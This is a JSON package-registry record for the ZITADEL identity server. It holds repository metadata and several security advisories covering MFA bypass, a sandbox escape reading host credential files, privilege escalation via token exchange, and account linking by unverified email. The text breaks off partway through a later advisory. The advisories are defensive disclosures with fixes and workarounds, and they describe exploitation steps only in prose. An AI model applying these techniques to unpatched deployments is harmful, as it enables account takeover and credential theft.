[{"id":4433457,"name":"github.com/zitadel/zitadel","ecosystem":"go","description":"","homepage":"https://github.com/zitadel/zitadel","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/zitadel/zitadel","keywords_array":[],"namespace":"github.com/zitadel","versions_count":880,"first_release_published_at":"2020-03-16T13:51:32.000Z","latest_release_published_at":"2022-12-20T14:28:09.000Z","latest_release_number":"v1.87.5","latest_published_release_number":"v1.87.5","last_synced_at":"2026-11-04T18:02:23.015Z","created_at":"2022-05-24T14:45:46.199Z","updated_at":"2026-11-05T06:19:23.524Z","registry_url":"https://pkg.go.dev/github.com/zitadel/zitadel","install_command":"go get github.com/zitadel/zitadel","documentation_url":"https://pkg.go.dev/github.com/zitadel/zitadel#section-documentation","metadata":null,"repo_metadata":{"id":36961295,"uuid":"247714750","full_name":"zitadel/zitadel","owner":"zitadel","description":"ZITADEL - Identity infrastructure, simplified for you.","archived":false,"fork":false,"pushed_at":"2026-11-03T08:08:28.000Z","size":599756,"stargazers_count":15504,"open_issues_count":1344,"forks_count":1414,"subscribers_count":65,"default_branch":"main","last_synced_at":"2026-11-03T18:12:39.948Z","etag":null,"topics":["2fa","authentication","authorization","fido2","fips-140-3","identity","login","mfa","multitenancy","oauth2","oidc","openid-connect","passkeys","saml","scim","sso","user"],"latest_commit_sha":null,"homepage":"https://zitadel.com","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/zitadel.png","metadata":{"files":{"readme":"README.md","changelog":"changelog.config.js","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":".cursorrules","copilot":".github/copilot-instructions.md","dco":null,"cla":null,"disclosure":null}},"created_at":"2020-03-16T13:51:31.000Z","updated_at":"2026-11-03T15:26:48.000Z","dependencies_parsed_at":"2026-11-03T16:18:23.712Z","dependency_job_id":null,"html_url":"https://github.com/zitadel/zitadel","commit_stats":{"total_commits":2005,"total_committers":48,"mean_commits":"41.770833333333336","dds":0.7281795511221945,"last_synced_commit":"a3b36a0138d184293a79e3e4a2b24bbed1962926"},"previous_names":["caos/zitadel"],"tags_count":2163,"template":false,"template_full_name":null,"purl":"pkg:github/zitadel/zitadel","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/zitadel","download_url":"https://codeload.github.com/zitadel/zitadel/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/sbom","scorecard":null,"funding_links":["https://github.com/sponsors/zitadel"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":349647599,"owners_count":38570343,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-11-03T11:36:44.738Z","status":"ssl_error","status_checked_at":"2026-11-03T11:36:44.278Z","response_time":53,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"zitadel","name":"ZITADEL","uuid":"70011121","kind":"organization","description":"Identity infrastructure, simplified for you.","email":"hi@zitadel.com","website":"https://zitadel.com","location":null,"twitter":"zitadel","company":null,"icon_url":"https://avatars.githubusercontent.com/u/70011121?v=4","repositories_count":90,"last_synced_at":"2026-10-31T10:22:23.599Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/zitadel","funding_links":["https://github.com/sponsors/zitadel"],"total_stars":18554,"followers":509,"following":0,"created_at":"2022-11-14T05:26:10.738Z","updated_at":"2026-10-31T10:22:23.752Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/zitadel","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/zitadel/repositories"},"tags":[]},"repo_metadata_updated_at":"2026-11-03T23:19:13.663Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":9.345852080216646,"dependent_packages_count":6.999148183520997,"stargazers_count":1.0238632065784026,"forks_count":1.6470696503063285,"average":4.753983280155594},"purl":"pkg:golang/github.com/zitadel/zitadel","advisories":[{"uuid":"GSA_kwCzR0hTQS05OTkzLXJmd3Atcmh3Zs4AB6gv","url":"https://github.com/advisories/GHSA-9993-rfwp-rhwf","title":"ZITADEL: MFA bypass via session reuse in Login V2","description":"### Summary\n\nA vulnerability in ZITADEL’s Login V2 UI allowed a password-verified browser session to be reused for a new authentication request without re-checking a user’s enrolled second factor (TOTP, OTP, or U2F). An attacker who already knows valid credentials can fully authenticate to an application without completing MFA.\n\n### Impact\n\nZITADEL Login V2 issues a session as soon as the user’s password is verified, before the MFA challenge is completed. If the MFA step is abandoned (for example by navigating back) and login is started again, Login V2 may reuse that existing session instead of requiring the second factor.\n\nSession validity checks only enforced MFA verification when the organization’s login policy had **Force MFA** (or **Force MFA for local users only**) enabled. They did not treat a voluntarily enrolled second factor as required. In the common case where MFA is available on the user but not organization-mandated, a password-only session was treated as fully authenticated and used to complete the OIDC or SAML callback, bypassing the user’s second factor.\n\n**Scope note:** This issue affects **customer applications** that authenticate users through the hosted **Login V2** UI (OIDC/SAML). It does **not** affect Login V1. It also does **not** affect authentication to ZITADEL itself — including the Console, the Management/Admin APIs, and user self-management — even when Login V2 is enabled.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x:** `4.0.0` through `4.16.0` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch ensures Login V2 validates that any second factor enrolled on the user has been verified before an existing session can be reused to complete authentication.\n\n* **4.x**: Upgrade to $\\ge$ [4.16.1](https://github.com/zitadel/zitadel/releases/tag/v4.16.1)\n\n### Workarounds\n\nIf an immediate upgrade is not possible, enable **Force MFA** (or **Force MFA for local users only**, if you want to exempt IdP/federated logins) in the affected organization’s — or the instance default — login policy. This makes second-factor verification mandatory for password logins and closes this session-reuse bypass.\n\nNote that this is a broader policy change (MFA becomes mandatory for the scoped local logins) rather than a narrow fix limited to users who already self-enrolled a second factor.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Philippe Wechsler ([@MadMonkey87](https://github.com/MadMonkey87)) for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-24T18:19:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-9993-rfwp-rhwf","https://github.com/zitadel/zitadel/commit/049dbb25a56587fb3980c85c99819cad69f637db","https://github.com/zitadel/zitadel/commit/56f4798ed31fc1cfcd9a0e7f6f0152289d2fdc43","https://github.com/zitadel/zitadel/releases/tag/v4.16.1","https://github.com/advisories/GHSA-9993-rfwp-rhwf"],"source_kind":"github","identifiers":["GHSA-9993-rfwp-rhwf","CVE-2026-85056"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-24T19:00:09.086Z","updated_at":"2026-10-26T21:00:51.504Z","epss_percentage":0.00285,"epss_percentile":0.20855,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTkzLXJmd3Atcmh3Zs4AB6gv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05OTkzLXJmd3Atcmh3Zs4AB6gv","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260717062356-56f4798ed31f","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260717062356-56f4798ed31f"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTkzLXJmd3Atcmh3Zs4AB6gv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZ21mLTdyZjgtbTZ2Zs4AB6gu","url":"https://github.com/advisories/GHSA-fgmf-7rf8-m6vf","title":"ZITADEL: Actions V1 sandbox escape: host file read via require()","description":"### Summary\n\nA vulnerability in ZITADEL Actions V1 allows an organization Action author to read files from the ZITADEL host filesystem through the JavaScript `require()` module loader. On common self-hosted deployments this can be chained to steal bootstrap credentials (including the Login Client PAT) and escalate from a single-tenant organization owner to instance administrator.\n\n### Impact\n\nZITADEL Actions V1 run custom JavaScript inside the ZITADEL server process at OIDC, SAML, and login-flow trigger points. The runtime enables the goja Node-compatible `require()` registry without restricting the source loader, so Action scripts can load host files readable by the ZITADEL process (notably `.js` and `.json`, and in some cases other file contents via error channels).\n\nAn attacker with **ORG_OWNER** on any organization (which includes `org.action.write` and `org.flow.write`) can therefore:\n\n* Read process-readable host files, including configuration or secrets mounted into the API container (for example service-account material, projected secrets, or config carrying sensitive values).\n* On deployments that follow ZITADEL’s documented bootstrap paths (`ZITADEL_FIRSTINSTANCE_LOGINCLIENTPATPATH`, `ZITADEL_FIRSTINSTANCE_MACHINEKEYPATH`), recover instance-wide credentials such as the **IAM_LOGIN_CLIENT** PAT or the **IAM_OWNER** service-account key, enabling escalation to full instance control.\n\nThis collapses the expected multi-tenant isolation boundary: a tenant organization administrator is not meant to access host filesystem secrets or instance-wide credentials.\n\n**Scope note:** This issue affects **Actions V1**. Host command execution was not identified as part of this vulnerability. Impact depends on what the ZITADEL process can read on disk and on deployment layout — documented Compose and quick-start setups that write bootstrap PATs or machine keys into the API container amplify severity.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x:** `4.0.0` through `4.16.0` (including RC versions)\n* **3.x:** `3.0.0` through `3.4.12` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch disables filesystem-backed module loading for Action scripts so that only the intended native `zitadel/*` modules can be required.\n\n* **4.x**: Upgrade to $\\ge$ [4.16.1](https://github.com/zitadel/zitadel/releases/tag/v4.16.1)\n* **3.x**: Upgrade to $\\ge$ [3.4.13](https://github.com/zitadel/zitadel/releases/tag/v3.4.13)\n\n### Workarounds\n\nIf an immediate upgrade is not possible:\n\n* Restrict who can create, update, or attach Actions — do not grant `org.action.write` / `org.flow.write` (or **ORG_OWNER**) to untrusted administrators in multi-tenant environments.\n* Audit existing Actions for `require()` of filesystem paths.\n* Remove or relocate bootstrap credential files (`login-client.pat`, machine keys) so they are not readable inside the API process filesystem.\n* Limit host filesystem exposure for the ZITADEL process (no unnecessary readable secrets beside the binary).\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Dor Konis ([@dkonis](https://github.com/dkonis)) and Feras Daragma ([@FerasTr](https://github.com/FerasTr)) from GE Vernova, and to [pyuysig](https://github.com/pyuysig), for finding and reporting this vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-24T18:19:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-fgmf-7rf8-m6vf","https://github.com/zitadel/zitadel/commit/afe108640cf57a17e8b743fbcdad9ae636eb3eb7","https://github.com/zitadel/zitadel/commit/baf6ed501b684f47048553d9034e8d3aa824950e","https://github.com/zitadel/zitadel/commit/e28d6bcc033368c3e9683ee15c195b8460b9305d","https://github.com/zitadel/zitadel/releases/tag/v3.4.13","https://github.com/zitadel/zitadel/releases/tag/v4.16.1","https://github.com/advisories/GHSA-fgmf-7rf8-m6vf"],"source_kind":"github","identifiers":["GHSA-fgmf-7rf8-m6vf","CVE-2026-85057"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-24T19:00:09.086Z","updated_at":"2026-10-26T21:00:51.505Z","epss_percentage":0.0039,"epss_percentile":0.32857,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZ21mLTdyZjgtbTZ2Zs4AB6gu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZ21mLTdyZjgtbTZ2Zs4AB6gu","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260717062331-baf6ed501b68","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260717062331-baf6ed501b68"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZ21mLTdyZjgtbTZ2Zs4AB6gu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12ODU5LWM1NzItcWg1cM4AB2Tt","url":"https://github.com/advisories/GHSA-v859-c572-qh5p","title":"ZITADEL: Improper Role Revocation on Granted Projects during Multiple Role Deletions","description":"### Summary\n\nA bug in how ZITADEL updates permissions when multiple project roles are deleted at the same time can cause some user permissions to be missed. This issue specifically affects **User Grants on Granted Projects** (projects shared between different organizations), **potentially** allowing users to keep access rights that were supposed to be completely removed.\n\n### Impact\n\nWhen an organization shares a project with another organization (a Project Grant), administrators can assign specific roles to users via a User Grant. If multiple roles are deleted from that project at the same time, a background process runs to strip those roles from the assigned users.\n\nBecause of an error in how ZITADEL loops through a user's list of roles during this specific cross-organization cleanup, deleting two or more roles at once **might** cause the system to accidentally skip over some of them.\n\n\u003e **Scope Note:** This vulnerability only affects **User Grants on Granted Projects**. Direct project roles and global organization roles are not impacted.\n\nThe risk depends entirely on what the skipped role allowed the user to do—if it was an administrative or high-privilege role, the user **could potentially** retain those elevated permissions within that granted project even after the role was officially deleted.\n\n### Affected Versions\n\n* **4.x:** `4.0.0` through `4.15.3` (including RC versions)\n* **3.x:** `3.0.0` through `3.4.12` (including RC versions)\n\nNote: The 3.x release channel has reached End-of-Life (EOL) for security updates and will not receive a backported patch.\n\n### Patches \u0026 Resolution\n\nThis issue has been fully resolved in the latest releases.\n\nThe update fixes the role-removal logic to ensure no roles are skipped. Furthermore, **this patch includes an automatic database migration**. When you update, the system will automatically scan your database, find any user permissions on granted projects that **may** have been accidentally left behind by this bug, and correct them.\n\n- **4.x**: Upgrade to $\\ge$[4.16.0](https://github.com/zitadel/zitadel/releases/tag/v4.16.0)\n- **3.x**: Update to $\\ge$[4.16.0](https://github.com/zitadel/zitadel/releases/tag/v4.16.0) (or check out workarounds)\n\n### Workarounds\n\nThere are no configuration workarounds. Upgrading to a patched version is the recommended solution and only way to trigger the automatic cleanup migration. If you cannot upgrade immediately, we recommend manually reviewing user permissions specifically for your **Granted Projects** where multiple roles were recently deleted.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please reach out to us at security@zitadel.com.\n\n### Credits\n\nThanks to [AyushParkara](https://github.com/AyushParkara)  for reporting this vulnerability.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-14T21:31:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-v859-c572-qh5p","https://github.com/zitadel/zitadel/commit/9d60e83d6faa5e7e7a5339e031cdb26e0efe4d59","https://github.com/zitadel/zitadel/releases/tag/v4.16.0","https://github.com/advisories/GHSA-v859-c572-qh5p"],"source_kind":"github","identifiers":["GHSA-v859-c572-qh5p","CVE-2026-76081"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-14T22:00:08.293Z","updated_at":"2026-10-26T21:01:04.547Z","epss_percentage":0.00397,"epss_percentile":0.33651,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ODU5LWM1NzItcWg1cM4AB2Tt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12ODU5LWM1NzItcWg1cM4AB2Tt","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.16.0","vulnerable_version_range":"\u003c 4.16.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ODU5LWM1NzItcWg1cM4AB2Tt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cmg4LWM5Y20td2g4ds4AB2Tr","url":"https://github.com/advisories/GHSA-vrh8-c9cm-wh8v","title":"ZITADEL: Unauthorized Token Privilege Escalation in OAuth2 Token Exchange","description":"### Summary\n\nA vulnerability in ZITADEL’s OAuth2 Token Exchange endpoint allows an authenticated user or client to exchange a low-privilege access token for a token with elevated permissions at a completely different application. This bypasses the intended authorization and separation policies configured within ZITADEL.\n\n### Impact\n\nZITADEL enables administrators to restrict token issuance based on client permissions, project roles, and specific scopes. Due to a missing verification step during the Token Exchange flow (`urn:ietf:params:oauth:grant-type:token-exchange`), ZITADEL fails to validate whether the incoming access token belongs to or is authorized for the client initiating the exchange. Additionally, ZITADEL does not enforce that the newly requested scopes must stay within the boundaries of the original token's scopes.\n\nAn attacker with valid access to a low-privilege application can exploit this behavior by sending a token exchange request to a highly-privileged target application. This allows them to obtain administrative project roles, access sensitive profile data, or gain unauthorized access to other applications across the system. If public clients (which do not require client secrets) are used, this risk increases significantly as it requires no client authentication.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x:** `4.0.0` through `4.15.2` (including RC versions)\n* **3.x:** `3.0.0` through `3.4.12` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by enforcing strict audience ownership verification and ensuring that requested scopes during a token exchange are restricted to a subset of the original token’s scopes.\n\n* **4.x**: Upgrade to $\\ge$ [4.15.3](https://github.com/zitadel/zitadel/releases/tag/v4.15.3)\n* **3.x**: Upgrade to $\\ge$ [4.15.3](https://github.com/zitadel/zitadel/releases/tag/v4.15.3)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version immediately. If an immediate upgrade is not possible, implement one of the following mitigations:\n - Disable via Feature Flag: Ensure the Token Exchange feature flag is explicitly turned off in your instance settings or environment variables (`ZITADEL_DEFAULTINSTANCE_FEATURES_TOKENEXCHANGE=false`). If the feature flag is disabled, the endpoint is unreachable and your system is not vulnerable. This is only possible in versions prior to v4.11.0, where the feature was not yet GA.\n- Remove the Grant Type: Ensure that the Token Exchange grant type is completely disabled or removed from all configured applications—especially high-privilege or public clients.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com).\n\n### Credits\n\nThanks to [thesecguy45](https://github.com/thesecguy45) and [Shubham Raj / Causal Security](https://github.com/cipher-creator) for reporting this vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-14T21:28:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-vrh8-c9cm-wh8v","https://nvd.nist.gov/vuln/detail/CVE-2026-56668","https://github.com/zitadel/zitadel/commit/e2886a61670ca8fd41c9434f87036546e5620bcc","https://github.com/zitadel/zitadel/releases/tag/v4.15.3","https://github.com/advisories/GHSA-vrh8-c9cm-wh8v"],"source_kind":"github","identifiers":["GHSA-vrh8-c9cm-wh8v","CVE-2026-56668"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-14T22:00:08.293Z","updated_at":"2026-11-04T06:02:14.584Z","epss_percentage":0.00413,"epss_percentile":0.35511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cmg4LWM5Y20td2g4ds4AB2Tr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cmg4LWM5Y20td2g4ds4AB2Tr","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.15.3","vulnerable_version_range":"\u003c 4.15.3"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cmg4LWM5Y20td2g4ds4AB2Tr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05OTJxLTlnd3AtN3I3Oc4ABxhs","url":"https://github.com/advisories/GHSA-992q-9gwp-7r79","title":" ZITADEL: Auto-linking by email: IdP-side email verification is not checked","description":"### Summary\n\nA flaw in the external identity provider handler allows unauthorized account linking to occur under specific administrative configurations. When auto-linking by email is enabled, ZITADEL checks that the local user's email is verified, but does not explicitly cross-check whether the incoming external identity provider (IdP) also verified that email address upstream.\n\n### Impact\n\nWhen a user logs in via an external identity provider, the system can automatically link them to an existing local account if their email addresses match. However, because the system fails to check if the external provider actually verified ownership of that email, a security risk is introduced if a loose or public provider is connected.\n\nIf an administrator enables email auto-linking for an external identity provider that allows anyone to sign up with an unverified email address, an attacker can exploit this behavior. By registering an account on that permissive provider using a victim's email address and logging in, the system will automatically link the attacker's federated identity to the victim's legitimate local account. This allows the attacker to log into the victim's account without requiring any interaction or confirmation from the victim.\n\nThis issue represents a configuration-dependent anomaly rather than an unconditioned attack vector. Because the scenario relies entirely on an explicit administrative choice to trust a permissive external directory and link accounts automatically based purely on email strings, the practical operational risk is classified as **Medium**. \n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x:** `4.0.0` through `4.15.2` (including RC versions)\n* **3.x:** `3.0.0` through `3.4.12` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring that the external identity provider's email verification status is explicitly validated before allowing any automatic linking logic to proceed.\n\n* **4.x**: Upgrade to $\\ge$ [4.15.3](https://github.com/zitadel/zitadel/releases/tag/v4.15.3)\n* **3.x**: Upgrade to $\\ge$ [4.15.3](https://github.com/zitadel/zitadel/releases/tag/v4.15.3)\n\n### Workarounds\n\nIf an immediate upgrade is not possible, implement one of the following mitigations:\n\n* Disable auto-linking by email entirely by setting the option to `AUTO_LINKING_OPTION_UNSPECIFIED` on corresponding identity providers.\n* Audit external IdP configurations and restrict email auto-linking strictly to trusted enterprise identity directories (e.g., corporate Okta or Azure AD) where email verification is strictly enforced and managed by corporate policy.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to [Android-Login-Analysis](https://github.com/Android-Login-Analysis) and [Alejandro Yadlin](https://github.com/ayadlin) for reporting this vulnerability.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-11T22:13:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-992q-9gwp-7r79","https://nvd.nist.gov/vuln/detail/CVE-2026-56666","https://github.com/zitadel/zitadel/commit/c97012f0c5dc2fe960ae6e940cbea23229f0557f","https://github.com/zitadel/zitadel/releases/tag/v4.15.3","https://github.com/advisories/GHSA-992q-9gwp-7r79"],"source_kind":"github","identifiers":["GHSA-992q-9gwp-7r79","CVE-2026-56666"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-11T23:00:13.559Z","updated_at":"2026-10-26T21:01:04.557Z","epss_percentage":0.00285,"epss_percentile":0.20851,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTJxLTlnd3AtN3I3Oc4ABxhs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05OTJxLTlnd3AtN3I3Oc4ABxhs","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.15.3","vulnerable_version_range":"\u003c 4.15.3"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTJxLTlnd3AtN3I3Oc4ABxhs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12NzdoLTJ3M20tOTRoeM4ABxhm","url":"https://github.com/advisories/GHSA-v77h-2w3m-94hx","title":"ZITADEL: Missing Token Expiration (`exp`) Validation in JWT IdP Provider","description":"### Summary\n\nA token lifecycle validation vulnerability was discovered in ZITADEL's external JWT Identity Provider (IdP) implementation\nSpecifically, within the validation pipeline, if an incoming JWT omits the `exp` claim entirely, the expiration block is silently skipped rather than rejected. The token is treated as valid forever.\n\nPer the OIDC Core 1.0 specification, identity token validation pipelines must strictly handle and enforce session expiration. ZITADEL's silent acceptance of tokens missing these temporal constraints compromises session integrity.\n\n### Impact\n\nAn attacker in possession of a token lacking an `exp` claim holds a permanent credential with no automatic expiration or revocation window.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x**: `4.0.0` through `4.15.1` (including RC versions)\n* **3.x**: `3.0.0` through `3.4.11` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. ZITADEL now explicitly rejects tokens that lack an `exp` claim.\n\n* **4.x**: Upgrade to $\\ge$ [4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2)\n* **3.x**: Upgrade to $\\ge$ [3.4.12](https://github.com/zitadel/zitadel/releases/tag/v3.4.12)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nIf an immediate upgrade is not feasible, ensure at the upstream Identity Provider level that an external IdP explicitly includes the `exp` claim in all signed JWTs.\n\n### Publication Note\n\nThis issue was originally disclosed as part of a unified security bulletin published under [GHSA-wxg7-w2v3-w38g](https://github.com/zitadel/zitadel/security/advisories/GHSA-wxg7-w2v3-w38g). To satisfy CVE Numbering Authority regulations regarding independently fixable logic flaws, the missing token expiration validation (`exp`) has been moved into this separate tracking entry so a distinct CVE ID can be correctly mapped to it.\n\n### Questions\n\nIf there are any questions or comments about this advisory, send an email to [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nZITADEL thanks [Android-Login-Analysis](https://github.com/Android-Login-Analysis), Jason Zhou and [Pedro Giglioti](https://github.com/Punisher100) for reporting this vulnerability.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-11T21:32:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-v77h-2w3m-94hx","https://nvd.nist.gov/vuln/detail/CVE-2026-56665","https://github.com/zitadel/zitadel/commit/4925fab849d39a88674485d937b79e54318b48a8","https://github.com/zitadel/zitadel/commit/d1c3aa84af8fcb0f33910ada30b866f4afb551ac","https://github.com/zitadel/zitadel/releases/tag/v3.4.12","https://github.com/zitadel/zitadel/releases/tag/v4.15.2","https://github.com/advisories/GHSA-v77h-2w3m-94hx"],"source_kind":"github","identifiers":["GHSA-v77h-2w3m-94hx","CVE-2026-56665"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-11T22:00:15.340Z","updated_at":"2026-11-04T06:02:14.598Z","epss_percentage":0.00266,"epss_percentile":0.18537,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NzdoLTJ3M20tOTRoeM4ABxhm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12NzdoLTJ3M20tOTRoeM4ABxhm","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"3.4.12","vulnerable_version_range":"\u003c 3.4.12"},{"first_patched_version":"4.15.2","vulnerable_version_range":"\u003e= 4.0.0-rc.1, \u003c 4.15.2"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NzdoLTJ3M20tOTRoeM4ABxhm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcTh3LThxMmYtZmZtOc4ABgsL","url":"https://github.com/advisories/GHSA-jq8w-8q2f-ffm9","title":"ZITADEL Users Can Self-Verify Email/Phone via API","description":"### Summary\n\nA vulnerability in Zitadel's self-management capability allowed users to mark their email and phone as verified without going through an actual verification 